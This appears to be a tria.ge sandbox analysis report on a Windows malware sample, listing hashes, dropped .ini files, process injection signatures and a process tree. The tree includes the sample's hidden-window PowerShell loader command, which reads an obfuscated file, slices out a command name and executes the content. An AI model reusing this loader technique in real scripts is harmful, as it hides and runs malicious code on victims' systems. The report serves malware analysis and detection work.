Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
25/04/2024, 01:43
Static task
static1
Behavioral task
behavioral1
Sample
8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral3
Sample
Entreprenren.ps1
Resource
win7-20240220-en
Behavioral task
behavioral4
Sample
Entreprenren.ps1
Resource
win10v2004-20240412-en
General
-
Target
8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe
-
Size
987KB
-
MD5
189590b2755ed6f134d8fe2c05124926
-
SHA1
e492eb975348e50a32c792d26441cc00912987e7
-
SHA256
8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27
-
SHA512
bf1280546ff4dacddd1b5d08a3a447bb8ccbe2e7c974654e43a266507d6c82080b6f802e4e96ef9f6c5dc0dbc43df64782d66d99e134797971427e88c32219fb
-
SSDEEP
24576:gIqqULDjF7yCOrJHFTuvMJbmhQU/YydIE5Lt6:9sxANuvMxmhB/Yly6
Malware Config
Signatures
-
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\Levantine.ini 8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Fonts\tashlik.ini 8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe File opened for modification C:\Windows\resources\0409\marmoreret.ini 8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 1080 4568 WerFault.exe 87 -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4568 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3636 wrote to memory of 4568 3636 8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe 87 PID 3636 wrote to memory of 4568 3636 8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe 87 PID 3636 wrote to memory of 4568 3636 8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe 87 PID 4568 wrote to memory of 4200 4568 powershell.exe 91 PID 4568 wrote to memory of 4200 4568 powershell.exe 91 PID 4568 wrote to memory of 4200 4568 powershell.exe 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe"C:\Users\Admin\AppData\Local\Temp\8987f3cd89bd9f739ef4ee2495ccd81be89cf7d5f52b445c94920cfae3b0fc27.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Forstbotanikkens=Get-Content 'C:\Users\Admin\AppData\Local\nervier\Estampede\sipunculacean\Entreprenren.Out';$Vaabentypers=$Forstbotanikkens.SubString(61389,3);.$Vaabentypers($Forstbotanikkens)"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵PID:4200
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 27003⤵
- Program crash
PID:1080
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4568 -ip 45681⤵PID:1928
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
60KB
MD5030ce4392c4a8cc1b477bc3deeacb683
SHA18f36406d9572e6ccf966fb69c0934c234e0617e6
SHA2567e9decd5f91e30b000266db010c2ad399bfd06f64ec43f48ca0f3bc36d69ca6c
SHA5123ec59592857d073ea3f59cd5279fdd4d862ba0a102de7bb3f96db73b64af362c5f017802afe78cb5299a0185f406e4fec097c9986b74d591183ab2aba114e4f4